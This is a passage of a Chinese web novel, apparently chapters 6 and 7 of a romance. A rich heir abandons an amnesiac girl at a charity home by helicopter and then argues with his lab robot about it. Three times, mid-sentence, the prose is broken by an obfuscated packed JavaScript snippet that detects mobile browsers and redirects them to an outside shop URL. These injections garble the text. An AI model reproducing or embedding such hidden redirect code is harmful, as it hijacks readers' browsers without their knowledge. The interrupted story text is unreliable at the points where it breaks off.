“糖果枕头?”时霂蹙眉,“抱歉,这里没有,如果你需要更多的枕头,我让佣人给你拿。等明天我会让哈兰去购买你需要的糖果枕头,好吗?” “那我明天能吃到真正的巧克力慕斯蛋糕吗?不是假的蓝莓蛋糕。” 时霂点头,不论她说什么都会答应她:“会的。” 宋知祎松了口气,安全感回来一点。 . 走出宋知祎的卧房后,时霂没有回自己的领域,而是在这条配色深沉的走廊里站了片刻,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078656|195110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侧铺满了深红木饰板,脚底是深红的地毯,金色的浮雕和水晶灯,花瓶里养着新鲜的玫瑰。 安静得听不到一丝声音,这里的夜晚有些莫名其妙的诡异。 站了有三分钟之久,时霂做了一次深呼吸,拿着那条羊毛毯,很突兀,就这样走回自己的卧室。 赫尔海德庄园左边是主人生活的区域,右边则用来接待宾客,中间大多是功能性用途,会客、音乐厅、大型餐会厅、宴会厅、花房……或者纯观赏性质的展览厅。 哈兰见主人终于回来,迎上去,递上外套,“先生,温度有些凉。”看见那条素色毯,自然伸出手,“毯子我替您拿着吧。” 时霂没让他拿,也没穿外套,只是淡声吩咐:“哈兰,现在去通知JH慈善俱乐部,让他们在福利院里准备一间干净的房间,明日中午的餐食加一道巧克力慕斯。” 停顿半秒,又补充道:“以后每天的午餐和晚餐都加一道巧克力慕斯。” 哈兰惊讶,“您要把她送去JH的福利机构?” 时霂平淡地瞥他一眼。 哈兰:“我以为您会留下她。” “留下她做什么,她只是一个偶发事件。”时霂神情没有起伏,只是在说一件并不值得关注的意外。 哈兰叹气,没再说什么。他还以为先生会留下这位女孩,毕竟她真的很可爱,很讨人喜欢,和那些故作姿态的lady们都不一样。 时霂:“去把药拿来。要两颗。” 正处于低落的哈兰猛地抬起头,不可置信地看着时霂,“先生?” 药很快拿来,两颗红色胶囊,时霂没有犹豫,服水吞下。哈兰还是很担忧,“需要预约检查吗?您已经小半年不需要药了。” “不用。偶发事件。” 不论是那只小雀莺,还是此时需要靠药物解决的尴尬,都是偶发事件。他确定。 “我说句不该说的,先生。”哈兰忧愁,“您这样下去不是办法,若是一直遇不到喜欢的女孩,难道就——” 时霂把水杯递过去,漫不经心地打断,“哈兰,你今日也累了,去休息吧。” 他转身走去书房对面的一间长厅。哈兰没有跟上去,知道先生是要开始做祷告,或者忏悔。 这间厅堂并不大,但装潢极度华丽,甚至到了奢靡浪费的地步。墙壁堆满了黄金雕饰,与彩绘玻璃穹顶交织着华光,正中央的祭坛上供奉着一尊耶稣受难像。神明头戴荆棘冠,双手被钉在十字架上,神情充满了慈悲和安详。 时霂沉默地坐在长椅上,他的头微微低垂,恭敬而谦卑,黑暗中,唯有一束月光穿过玻璃穹顶,朦胧地落在他周身。 “ive me,father.”他声音很低,双手握着一柄华丽的纯金十字架。 耶稣受难像宽和地注视着他。 药物在身体里很快就起了反应,将那种异常凶猛,异常亢奋的燥热压了下去,直到一切都归于平静,他这才缓缓拿开那张盖在腿上的毛毯。 量身定做的西装裤平整了下去,那处终于偃旗息鼓,像一头倦下来的雄狮。 这是第一次,这头雄狮为了一个确切的对象而兴奋不息,她不过是轻轻咬了一口,他就需要足足两倍的药剂才能压下去。 他对她……很有感觉。 很有很有感觉。 这种感觉是不需要理由,荒唐的,出乎意料的,是第一眼见到就知道对方是不一样的。当然,感觉这种东西,永远不需要理由,是就是,不是就不是,至于是谁,他无法控制,只能接受上帝的指引。 这个女孩不能留,多一秒都不可以。 明日吧,就明日,时霂决定把她送走,送得远远的,远到这辈子他们都不会再有交集。 就让这一晚永远地湮灭在记忆里。 . 6.直升机 次日,巴伐利亚州的天气有些阴凉,阳光是很浅的香槟色。 宋知祎昨晚很早就睡下,酒精的作用,睡得非常香,女佣为了叫醒她都费了好一番功夫。 她迷迷糊糊地问几点了,可女佣不懂中文,她的德语宋知祎也听不懂,两人大眼瞪小眼。还是女佣灵机一动,试探着说了一句英语,宋知祎眼睛点亮,大脑的语言系统仿佛被密码触发了,蹦出了一个英语技能。 “对!我都忘记了,我会说英语!”她很激动。 失忆前,宋知祎就能说一口流利堪比母语的英语,这要多亏她的妈妈,从小和她说话就是中英夹杂着。 女佣也松一口气,总算是能交流了,她捧来一套干净的衣服,“先生让我为您梳妆。这是为您准备的衣服,您试试尺寸。” 衣服都是今早用直升机送来的,还有很多其他的物品、鞋子、御寒的围巾手套厚羊毛袜子等等,都被归纳整齐,放进了行李箱。 宋知祎在福利机构所需要的所有物品,时霂都为她准备好了,当然,还有她点名要抱着睡的糖果枕头。 大概是她失忆前都会抱着这种枕头睡觉,时霂希望这颗柔软的糖果能伴她好眠。 宋知祎并不知道等会要做什么,只是开心地拿起那件贴身的小山羊绒毛衣,又去摸粉色的羽绒服,“都是粉色的,好舒服啊,裤子摸着也好舒服。” 换好衣服和运动鞋,女佣为她梳了一根鱼骨辫,用蝴蝶结皮筋扎着,斜斜地摆在身侧,其余更多的装扮就没有了。 这一身完全是为了出门远行而准备的,更重视舒适和方便。 宋知祎开心地跟着女佣下楼,走到餐厅,时霂已经到了,正喝着红茶。 “时霂!”宋知祎一见他就止不住的高兴,嘴角翘得很厉害。 男人温和地看她一眼,招呼她过来用早餐。 他今日依旧是一丝不苟的打扮,倒是不显刻板。金发抹了发油,整齐地向后归拢,量体剪裁的西服勾勒他高大的骨架,衬衫却没有系到最顶,松开两颗纽扣,很随性,德国血统的严谨秩序和意大利血统的松弛倜傥在他身上融合得非常微妙,还有那份温润的东方气质,整个人看起来很有一种特别的腔调。 “喝牛奶还是红茶?”他笑着问。 宋知祎迫不及待坐到时霂身边,乖巧地搭好餐巾,用英语说:“你喝什么我就喝什么!” 时霂挑了下眉,夸奖道:“英语很流利,不错。” 宋知祎得了夸奖,喜滋滋地:“我厉害吧,刚才突然发现我会说英语,好神奇,时霂,我没有忘记语言,我还能说话。” “嗯,大脑的机制很复杂,用来储存语言的地方并不同。所以你失忆了,也不会忘记语言。” “原来是这样,你真厉害,懂的真多。” 女佣很快为宋知祎端来一份红茶,早餐是黑椒培根火腿恰巴塔,黄油炒蛋,烟熏三文鱼以及蔬菜汤,宋知祎吃到打饱嗝,摸了下自己的肚子。 时霂余光瞥见她的小动作,唇角无意识地抬了抬。 “吃饱了就出发吧。”时霂把刀叉摆放成完成的讯号,优雅地起身。 “去哪里啊。你要带我出去玩吗。”宋知祎很自然地勾住他的衣袖,晃了晃,“德国有什么好玩的?” “JH慈善俱乐部挨着一个很漂亮的湖,还养了不少黑山羊和鹿,坐在梧桐树下晒太阳也很舒服,附近还有一家打靶场和啤酒屋,JH投资的,你可以去试试。” “JH是什么啊?你好像说过很多次。” “是我们等会要去的地方。” 时霂望过来的眸色很深邃,宋知祎看不太懂。 这个地方其实是很不错的,在慕尼黑的一个小镇上,风景秀美,宁静悠闲,而且他让人安排的是俱乐部管理人员的宿舍,比福利院的条件好很多。即使她一辈子想不起来,在这里永远住下去,也能无忧无虑,俱乐部会为她申请常驻身份,她的一应开支都走他的私账,若是她喜欢,还能在俱乐部找份事做,做做志愿者。 他为她规划得非常周全、体贴。 宋知祎睁大了眼,若有所思地点点头,“那快去吧,我想看小鹿,也想打靶!biubiubiu——”她做出打枪的手势,往时霂身上发射虚空的子弹。 时霂笑,不理会她的孩子气。 庄园离俱乐部很远,开车要两个小时。哈兰已经备好了直升飞机,停机坪里,巨大的气流将周围的草木都吹得猎猎作响。 宋知祎一上飞机就趴在玻璃窗边,等直升机飞高,她终于看见这座庄园的全貌,就像一座童话里的宫殿。周围是修建整齐且开阔的草坪,阳光下,绿丝绒般美丽,再远处是一圈茂密的橡树林,和绵延的山。 “真漂亮。”她喃喃地说,气息将窗户糊出一小片白雾,“就是看着很孤独。要是有很多人住在一起,热热闹闹的就好了。” 正在发工作邮件的时霂看了她一眼。 直升机渐行渐远,很快,这座宫殿就看不见了,宋知祎心里有些空空,但因为时霂就在身边,她又觉得很有安全感。 她坐过去,挨着时霂,对方继续敲邮件,无声地包容她贴上来的小动作。 直升机逐渐进入有人烟的城市区域,大片建筑出现在眼底,宋知祎摇晃时霂手臂,让他看,“时霂,那是什么?” “圣母教堂。” 慕尼黑城市限高,大片大片的楼房都很矮,房屋不能高过圣母大教堂,所以宋知祎一眼就看见这座造型别致的建筑。她双眼亮晶晶,对这个世界充满了好奇。直升机继续穿越城市来到乡村地带,盘旋在一座颇为现代化的建筑上方,渐渐下降,最终停在草坪上。 JH慈善俱乐部的几个负责人早已恭候在此,西装革履,神情严肃。JH作为SliverCrown集团旗下的一个小到不能再小的慈善机构,从没想过大老板会有一天亲自光临,而且并不是来巡视工作,只是简单的送人。 “赫尔海德先生,欢迎您的到来。” 宋知祎巴巴地跟在时霂身后,听不懂他们一群人说了什么,只知道这些人在时霂面前非常恭敬,而且她还注意到,这些人偶尔会看她,这目光令她很不自在。 宋知祎慢慢打量着四周,这里看上去并不像很好玩的地方。 交代好一切,时霂偏过头,看向正在发呆的宋知祎:“小雀莺,在看什么?” 宋知祎立刻回神,有些撒娇:“这里看上去一点也不好玩,你是不是骗我啊?” 时霂笑笑,暗蓝色的眼眸在阳光下蓝得过分浓郁,深邃,就像一汪海水在眼中流淌,“不是想吃巧克力慕斯吗,你随他们过去,就能吃到了。” 宋知祎眼睛点亮,“真的?” 时霂点头,不知为何,看着她甜美天真的笑颜,心里涌起复杂和不忍,他甚至自问是不是太残忍了。 人类总是多愁善感,会生出不合时宜的情感,即便是对一只投喂过的小流浪猫,也会在分离时有一闪而过的不舍。 他告诉自己,这种不忍不舍都很正常。过了当下,就会归于平静。如同昨晚,那般汹涌,最后不也是如水归入海般悄无痕迹。 “去吧。”时霂说。 “那你呢,不吃吗?巧克力慕斯很好吃的。” “我不饿,小雀莺。” 宋知祎面露遗憾。一位略懂中文的工作人员走上来,笑着对宋知祎说,“小姐,请跟我来。我带您去您的房间。” 宋知祎在她的引导下,稀里糊涂地往前走,走出几米后,她转头看时霂,挥手,“你等我,时霂,我吃完了就来找你!” 男人笔挺地站在原地,目送着她,驼棕色的西服在阳光下有着顺滑的光泽,宽厚的肩膀她靠过,很踏实,很温暖,可不知为何,她觉得这样的时霂很遥远。 “你要等我!”她再次强调。 时霂绅士地笑着,对她做了个快去的手势。 宋知祎这才踏实,她想着马上把蛋糕吃完就来找时霂。工作人员把她领到了一间单独的房屋,很漂亮的两层小楼,还带一个种满蔷薇花和牵牛花的小院子。 女人介绍着:“小姐,这里是客厅,这里是洗衣房,这里是餐厅,楼上是您的卧室……您往这边走就是俱乐部的食堂,等会我带你走一遍……” 宋知祎的注意力短暂地被新事物吸引,她在这里逛了一圈,最后坐在沙发上,对女人礼貌地问:“您好,请问我现在可以吃巧克力慕斯了吗?” 她记挂着这个味道,仿佛吃了,就能想起以前的很多事。 女人愣了一下,“噢,好的,我给您端来。” 这是一块被SliverCrown集团的主人特别交代过的蛋糕,装饰得花里胡哨,堆满了草莓和巧克力。 宋知祎wow了一声,非常高兴,就在这时,有其他工作人员进来,手里推着几只大行李箱。 “这是?”宋知祎疑惑。 女人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082297|195110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑着说:“这是您的行李箱啊。” 宋知祎愣在那,她哪来的行李箱?到这时她缓慢地明白了什么,脸色骤然一变,连蛋糕都顾不上吃,猛地站起来,要去找时霂。 “时霂呢?时霂在哪里!”她焦急地问。 女人不知道时霂是谁,其他不懂中文的更是不解发生了什么。 “Where is Shimu!Shimu!”宋知祎又用英语说了一遍,语调染上了慌乱。 “抱歉,我不知道您说的时霂是谁。” 时霂。 除了宋知祎,没有人知道这位赫尔海德家族继承人的中文名叫时霂,这是他那早逝的来自中国的外公为他取的名字。 外公姓时,当年在越南当外派记者时遇见了一位来自意大利的贵族小姐,那日阴雨绵绵,淅淅沥沥。他为自己的外孙起名为“霂”,以此来纪念这天。 时霂正式的名字应该叫——弗雷德里克·海因里希·冯·赫尔海德。 若是要加上来自意大利贵族的母亲姓氏,那他的名字会更长。关系近的家人朋友会喊他Fritz(弗里茨),这是亲切的昵称,外界则统一称呼他为赫尔海德先生。 宋知祎不懂这些,不懂时霂是什么人,是显赫老钱家族的继承人也好,是拥有上万亿资产的集团董事也好,还是住在城堡里的王子也好,她只知道时霂,时霂就是他。是那个会抱她回房间,身上很香,胸肌很大她可以埋进去的男人。 于她而言,那个捡到她的,被她当成妈妈一样重要的男人,代码只是时霂。 “时霂!” 宋知祎不小心打翻了那块巧克力慕斯蛋糕,草莓巧克力碎了一地,看着被她弄糟的一切,宋知祎生出愧疚。 可顾不得这些,宋知祎飞快地跑出去,工作人员都来追她,谨记着哈兰先生的交代。其中一名男性员工颇为激进,试图阻拦,打算抓她的肩膀,把她拖回来。 令宋知祎感到可怕也奇怪的是,她的大脑明明做出的是赶紧跑的指令,可身体比大脑更快,甚至能擅作主张,她下意识扣住这只手臂,一个巧妙的过肩,直接把这位比她高大的成年男子硬生生摔在地上。 “Ach du Schreck!”(天呐) 所有人都震惊地看着眼前这一幕。 宋知祎也被惊到了,满脸迷茫,她不知道自己为什么有这么大的力气,她的身体好像会自动对危险产生条件反射,这男人来扣她的肩膀,她自动把他摔出去,这套动作非常丝滑,仿佛她曾经训练过千次万次。 “对不起,对不起,sorry,我不是故意的……你们不要跟着我!” 宋知祎整个人彻底惊慌失措,像应激的鸟,四处撞笼,她一边道歉一边往前跑,她脑中记得路,按照原路一直飞奔至那块绿草坪。 等她到时,那架直升机正在缓缓起飞,带出的巨大气流将一切都搅乱。 宋知祎错愕地止住脚步,仰头,呆呆地看着那台直升机飞向蓝天,风将她的长发吹得乱糟糟。 直升机还没有飞高,她透过玻璃窗看见一道矜贵优雅的身影就在里面。男人低垂着视线,正在看手里的平板,俊美的侧脸没有表情,显得无情也遥远。 “时霂!”她疯狂地对着直升机挥手,怕他看不见,又跳起来挥,“时霂!我在底下!我还没有上飞机!” “我在这里!” “时霂时霂时霂——!” “喂——等等我啊!!” 喊了无数声,都被淹没在巨大的噪音里,直升机里面的人不可能听见。宋知祎害怕起来,那种飘荡无依的孤零零的感觉包裹她,就如同她从昏迷中醒来的那一刻,在这个世界上找不到任何痕迹。 人活在这个世界,或多或少都要有个依靠,父母伴侣,孩子朋友,亦或是工作,钱财,再不济也是一套房子,一部车,一个属于自己的落脚处。 可她什么都没有。 她甚至连自己也找不到,她是一个没有记忆的人,是一个没有凭依的人。 “时霂………” 宋知祎喊得嘶哑了,声音轻下去,喃喃地,那直升机飞出了视野,成为空中微小的一个点,她即使现在真成了一只小雀莺,会飞,也追不上这只巨大的鹰。 到这时,她才彻底明白,泪水模糊了她的眼睛,顺着脸颊滑下来。 时霂不要她了。 他把她骗到这里,然后抛弃了她。 . 7.小鸟恶魔 时霂并非没有看见宋知祎。 在宋知祎跑到停机坪的那一刻,哈兰就告诉他,人在底下,怕是在喊他的名字。 “先生,要不要停下来。”哈兰很心酸,不知为什么,可能是这个女孩真的很招人疼,很可爱,也很乖巧,和他所见过的所有千金小姐都不一样。 哈兰望着女孩在底下又跳又挥手,急得像一只被父母抛弃的小动物,那种心酸就更多了。他是为人父母的,最见不得这种场面。 这个女孩并不知道,先生决定了把她留在这里。 他们以后不会再有交集。 昨晚童话般的美好只是一根火柴的光。 时霂的面容不起丝毫波澜,甚至没有往窗外看一眼,他看着平板上的工作邮件,“不用,继续开。” “先生……”哈兰再次请求。 “你也不是多管闲事的人,今天是怎么了。”他语气微冷。 哈兰闭上嘴。先生很少有情绪外露的时候。 随着直升机越飞越高,时霂感觉到不舒适,像是高空中会缺氧,可明明高度正常,直升机里温度和含氧量都是最佳数值。他尽量集中精神去看这封法语邮件,可耳边总是传来很细很轻的呼唤,喊他时霂,也撒娇,贴着他,令他完全无法专注。 他说不出自己是怎么了,心情和注意力都很沉滞,只能熄灭平板,把西装外套脱下,又解松了领带,最后靠上座椅背,试图闭眼休息。 只不过耳边那虚虚幻幻的声音没消停过,令他没有一刻安宁。 直升机并没有飞回庄园,而是去往银冠集团在慕尼黑的分部。 银冠集团是赫尔海德家族最成功的一笔投资,四十年前,时霂的祖父海因里希·赫尔海德先生以十亿美元收购这家来自华尔街的资产管理公司,将其改名为SliverCrwon,经过几笔战绩赫赫的投资,迅速在全球资本市场扩张,如今在全球管理的资产已经超过四万亿欧元,旗下版块众多,持股了全球众多龙头企业,收购的资产数不胜数。 海因里希先生直接跳过自己的五个孩子,将这家如日中天的集团交给了长孙,当时一度引起很多猜测。毕竟赫尔海德家族最值钱两大王牌,一张是赫尔海德集团,另一张就是银冠。 时霂握着半壁江山,即使是他的父亲,也并不能拿他怎么样。 因为亲自送宋知祎去JH,例会推迟了两个小时,结束时到了十二点。时霂从会议室里出来,哈兰欲言又止地跟上去,手里握着电话,看上去刚结束通话。 “先生,JH那边刚刚来了消息。” 时霂不咸不淡地瞥过他,意思很模糊,哈兰拿不准,干脆装傻:“您要听吗?” 男人只是漫不经心地理着袖口,头顶一束筒灯的射光打在他金发上,冷调的色泽,显得冷漠,“你既然想说,那就说。” “她很伤心,蛋糕也没吃,一个人躲在房里。”哈兰边说边悄悄观察时霂的神情,对方只是整理着没有丝毫皱褶的袖口,动作优雅,面容平和,再没有其他。 哈兰定了定神:“她说,时霂抛弃了她。” “抛弃”这个词实在是很滑稽。 这时电梯到了,叮的一声缓缓划开。 银冠总部大楼于五年前重新扩建翻修,主色调采用了银色,着重科技感的设计带来一股冷冽的高智感,所以这里运用最多的材料就是玻璃、金属以及镜面。 电梯亦如此,四壁皆是光可鉴人的镜面,打开的瞬间,就将时霂脸上那抹怔忪,以及怔忪之下的狼狈照得无处遁形。 时霂也看见了自己此时的表情,很荒谬,避无可避。 他不知道自己为什么会为这么幼稚的一句话而面露狼狈,仿佛经历了一场审判。明明他把一切都安排得如此周全,妥帖,堪称仁至义尽。 那只是一只小到不能再小的小雀莺,又凭什么一而再再而三影响他的情绪。 时霂定了神,不露痕迹地收敛一切,迈步踏入。 “我去实验室,你不必跟着。”时霂按下负一层,随后替哈兰按了一层。 “那午餐?” “让Milo送过来。” “好的,先生。” Milo是机器人,在银冠集团重点投资的占地足有两万平方米的超级实验室里,有无数个形态各异的“Milo”。这是集团与美国军方秘密签订的武器项目,投入了大量的财力人力物力,用来研究各种军用智能机器人和工业软件。 上世纪的欧洲人都知道,赫尔海德家族就是靠做军工和电气技术起家的。 负一层到了,时霂走出电梯,刷卡进入内部区域,经过一条纵深很长走廊,最后于一道高三米的银色金属门前停下,智能扫描仪扫过他的虹膜,比对成功,发出一声可爱的“叮咚”—— 一道调皮的男孩音响起,融合了不太明显的电音效果,说的是中文,“欢迎回家,时霂。” 银色金属门关上,时霂走入这个绝对私密的个人空间。这里和赫尔海德庄园的富丽堂皇,色彩堆积完全不同,只有白色,银色和深蓝,大片空旷的留白让这里有种如海中岛屿的孤寂感,也像宇宙中的一只飞船。 时霂脱下西装,扔在沙发上,很快,一个完全规则的正方体物体滑过来,伸出一根叉子,叉起这件西装,然后丝滑地来到挂衣架前,整整齐齐挂好,随后放出一道蓝光扫过时霂全身。 “今日体温37℃,心率80,血氧饱和度99%,身高191cm,体重95kg,体脂率10%,胸围112,腰围81,臀围98,长度……呃呃……此状态下测量不准,长度未知,嘴唇红润,皮肤Q弹,恭喜您,先生,今日也非常健康,请继续保持!” 时霂脸色冷漠,走去冰箱。 这个正方体紧巴巴地跟在时霂身后,用智能控制把冰箱门打开,“嗨,时霂,你今天怎么了,不高兴吗?” 时霂拿出一瓶气泡水,冰凉的水汽布满手掌,“为什么这样问?” “你今天脱衣服很随便,看得出你心情不好,都不符合你的人设了,你有点ooc哦。” 时霂越来越听不懂它的话了,这个机器人有些跑偏,“我是什么人设?” “呃……” 正方体煞有其事地思考,它四个面都是OLED显示屏,此时正显示出长长的省略号,绕了它一圈,这表示它正在思考,“你的人设是优雅高贵的老钱少爷,能力卓越的集团霸总,严谨自律括号闷骚变态括号收德系帅哥,温柔倜傥括号拔叼无情括号收意式绅士,以及全世界姐姐都喜爱的八块腹肌大奶男妈妈,综上所述,你不能随意扔衣服,让我挂。” 它强调最后三个字,“你知道吗,时霂,伸缩手臂真的很累。” 要耗费他百分之零点零零零一的电量! “………………” 它的话里至少有一半的词汇时霂都听不懂,只是好笑地看着这个物体,想着是不是最近的调/教方向有误,才让它的思维越来越跳脱。 这是他年少时亲手设计的机器人,经由专业团队加强外观和升级系统,现在正在进行新一轮的思维训练当中。在实验室上百个机器人里,唯独它有自己的名字,叫“Oreo” 为了让Oreo的中文运用更加活泼入时,时霂上个月为它接入了几个中国社交网站,譬如“某抖”“某书”“某博”,给它注册账号让它自己学习,没有想到它学了乱七八糟的东西回来。 时霂摸了摸Oreo的平面脑袋,很温柔:“再乱学不该学的,我会把你送去销毁处,或者让你去军事演习场自毁爆炸。” Oreo立刻老实了,发出非常僵硬的哭泣电子音“呜呜呜” “朗读圣经旧约。”时霂命令。 Oreo作为一个可爱的机器人,被迫信仰上帝,开始没有感情的朗读:“起初,上帝创造天地。此时大地混沌空虚,渊面黑暗………” 读了不到两分钟,它突然打岔:“对了,你今天为什么不高兴?你这么厉害,应该没有人敢惹你生气吧。” 它拥有非常大的自主权。 时霂并不置喙Oreo的童言无忌,他想起了另一句更加童言无忌的控诉。 抛弃。 他抛弃她。 时霂只觉得幼稚。他微微一笑,优雅地抽出一根细支雪茄,Oreo狗腿地凑过来,一根金属手臂从上方伸出,放出电流,嘶嘶地将烟点燃。 不同于市面上兜售的烟草,这款雪茄味道极其淡,更多的是浓郁的咖啡香,弥散开来。 时霂并不介意与Oreo分享他的生活。 Oreo是他漫长年少时期唯一的听众。 “我捡到了一只走失的小鸟,见她可怜,喂了几天。如今她伤好了,我为她找了一处好地方,把她放归自然,让她自己生活。她总要学会自己生活,不是吗?” 时霂语调温而缓,如同指尖缓慢泻出的雾,他淡淡吁出一口烟,笑着说:“现在这只鸟非但不感激我,还指责我抛弃她。” 他高贵的暗蓝色眼眸里流露出一丝很淡的愠色,“你说她是不是很幼稚,Oreo。” Oreo的智力已经非常接近人类了,它能模拟喜怒哀乐,但不能产生喜怒哀乐。 它立刻联网搜索许多有关可怜小鸟的图片,以及人类救助小鸟的事迹,整理这些信息后,说道:“那你为什么不能养它?小鸟很美丽,也很可怜。你这么有钱,住的地方又那么大,养一只小鸟对你来说根本没有影响,你为什么不要它。” “Oreo。” 时霂沉了嗓,一簇烟灰落在西装裤上,“创世纪中记载,撒旦化身为蛇,引诱夏娃摘下分别善恶树的禁果,偷吃禁果的亚当夏娃被耶和华上帝逐出了伊甸园,人类从此需要面临劳作,苦难与死亡。我教过你,凡事需要认真思考,一只鸟而已,也许并没有看到的那么简单。这个世界很复杂,不是因为漂亮和可怜,就要留下她,说不定日后会带来很多麻烦。有些东西就像禁果,不该尝的,不能尝。” Oreo很困惑,屏幕上标出大大的问号,“小鸟就是小鸟,为什么要与撒旦与禁果扯上关系?时霂,你真的很奇怪。” 它很固执,也不知是机器人到底不懂人类的复杂,还是机器人有着人类没有的坦白。 时霂弹了弹烟灰,耐心解释:“你可以当成今日的训练。我曾经告诉过你,撒旦会幻化成美丽的模样。你看到的美丽不一定是美丽,天使往往是丑陋的,恶魔才需要美丽的皮囊。” Oreo说:“我当然记得,我的记忆力可是人类的百万倍!可是你没有告诉我,为什么恶魔才需要美丽的皮囊。” “因为恶魔需要引诱人类堕落。” Oreo没有说话了,它需要进行深度的思考。时霂总是会用很复杂的问题,只有人类才能体会的问题,来训练它这个机器人。太强机所难了。 屏幕上开始播放一些可爱的小鸟扑腾翅膀的画面,让这只机器人看上去五彩斑斓。Oreo找来的小鸟玲珑可爱,是一只粉紫色的花彩雀莺,在树枝上歪着脑袋,啁啁啾啾,蹦蹦跳跳,撒着娇。 时霂很淡地瞥过那只花彩雀莺,笑了笑,挪开目光,夹烟的那只手难耐地转了转,似乎是腕表挪位不太舒服,又不太像。 他没有催促,耐心地等待机器人思考。思考深度复杂的问题,才能让ai接近人类,他不单单要一款智能管家,他期待有生之年能造出一颗比拟成年人智力和情绪的大脑。 空旷的实验室非常安静,明净的灯光洒落,衬得他面冠如玉。 许是身上流淌着八分之一的中国血统,他的气质里有着很东方的韵味,譬如儒雅、端方,冲淡了西式精英阶层刻在骨子里的冷漠傲慢。 机械电子音滴滴两声,思考完毕。 Oreo用主屏幕正对着时霂,那只彩色小雀莺活蹦乱跳着,“所以,是那只小鸟引诱到你了,你才要抛弃它,它其实什么也没有做错,是你太小气,把自己的错怪到它身上,还说它是恶魔。难怪,人类是有原罪的,这个原罪就是太虚伪。” “我分析得对吗?时霂。”它洋洋自得。 Oreo的眼睛正对着时霂,屏幕下藏着三百六十度旋转摄像头,军用安防级别,能精确捕捉到人类面部表情最细微的变化,哪怕是天衣无缝的表演也能被它用数据分析出来。 此时,时霂脸上一闪而过的难看被拍摄得一清二楚。 . 晚上八点,哈兰又收到了JH那边的来电。 “哈兰先生,抱歉这么晚打扰您。小姐她一整天都没有吃饭,躲在衣柜不肯出来,我们实在是不知道该如何做了。” “好,我知道了。你们再劝劝她。” 挂了电话, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085690|195110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哈兰在时霂的书房外徘徊,犹豫着该不该敲门。为这事他今天已经烦了先生两回,无一例外,都没用。 先生的决定没有人能够改变。 就在他发愁时,门从里面打开了。 男人西装革履,斯文矜贵,碧眸平和地看过来,“有事吗。” “汪汪——” “汪——” 紧跟着,两头威猛凶悍的黑犬从时霂身后蹿出来,对着哈兰打招呼,舌头吐动,尾巴不停地甩。 还有一只慢悠悠踱步而来的巨型大猫,高傲地瞥了哈兰一眼,随后倒在时霂脚边打了个滚。 哈兰不露痕迹地退了半步,微笑着打招呼,“晚上好,black少爷,Peach女士还有Kiki小公主。” black是一只德系杜宾,Peach是一只罗威纳,而Kiki则是一只花豹。 自从宋知祎醒来后,这三只小祖宗就被关在后山的木屋中,如今终于来到庄园内部自由活动,浑身都是使不完的劲。 时霂蹲下去,揉了揉Peach的脑袋,Black见状也凑上来,这两货加起来超两百斤,玩闹时力道也惊人,可男人仍旧岿然不动,结实的手臂将它们搂住。 “先生,是JH那边来电了,说小姐一天没有吃饭,现在还在哭——” “哈兰,你汇报给我有什么用,是我能让她吃饭,还是能让她不哭呢?”时霂温和地截断哈兰的话,掌心仍旧有一下没一下抚着动物光滑顺亮的皮毛。 哈兰怔住。到这时已经完全察觉到了不对劲。 先生对这个女孩的心硬程度超出了他的预料。其实没必要的,就算是陌生人,先生也不会如此冷漠,这种心硬更像是刻意为之,到了不顾风度的地步。 先生是善良慷慨的绅士,常年投身慈善,两年前还曾亲自带领团队去往赞比亚参与志愿者活动,资助当地上百个孩子读书,获得了当地总统颁发的荣誉。 就连这只花豹,也是先生从盗猎者手中救下的。当时Kiki还是幼崽,失去了母亲,又要被杀死制成标本,先生带着几名雇佣军,和盗猎者发生冲突,造成了流血伤亡,这才把这只小可怜救回来。先生留在赞比亚亲自喂养了半个月,临走时,它又叫又闹,伤心到绝食,先生心软,于是为它办理手续,一起带回了德国。 所以,为什么偏偏对那个连名字都没有的女孩如此冷硬? “抱歉,先生,以后不会再拿这件事打扰您。时间不早了,您早些休息。”哈兰恭敬地说完,离开时带上书房门。 时霂眼也不抬,仿佛毫不在意,依旧抚着油光水亮的兽皮,只是速度逐渐放缓,直到最后,他没什么意趣地站起来,看着那只懒洋洋的花豹,沉着嗓:“不吃饭是想威胁谁?为什么就不能乖一点?” 被批评了一通的Kiki很无语。真搞不懂,它恨不得一天吃六顿呢! 它打了个哈欠,呼哧一声,表示抗议。 时霂根本没有看它,只是走到窗边,指尖的烟没有点燃,揉到烂,揉到碎,最后扔进烟灰缸。 结束和纽约那边的跨洋会议,已经是深夜十一点。时霂的精力充沛到古怪,完全没有丝毫困意,他打算去衣帽间拿运动衣,再去健身房做几组卧推。 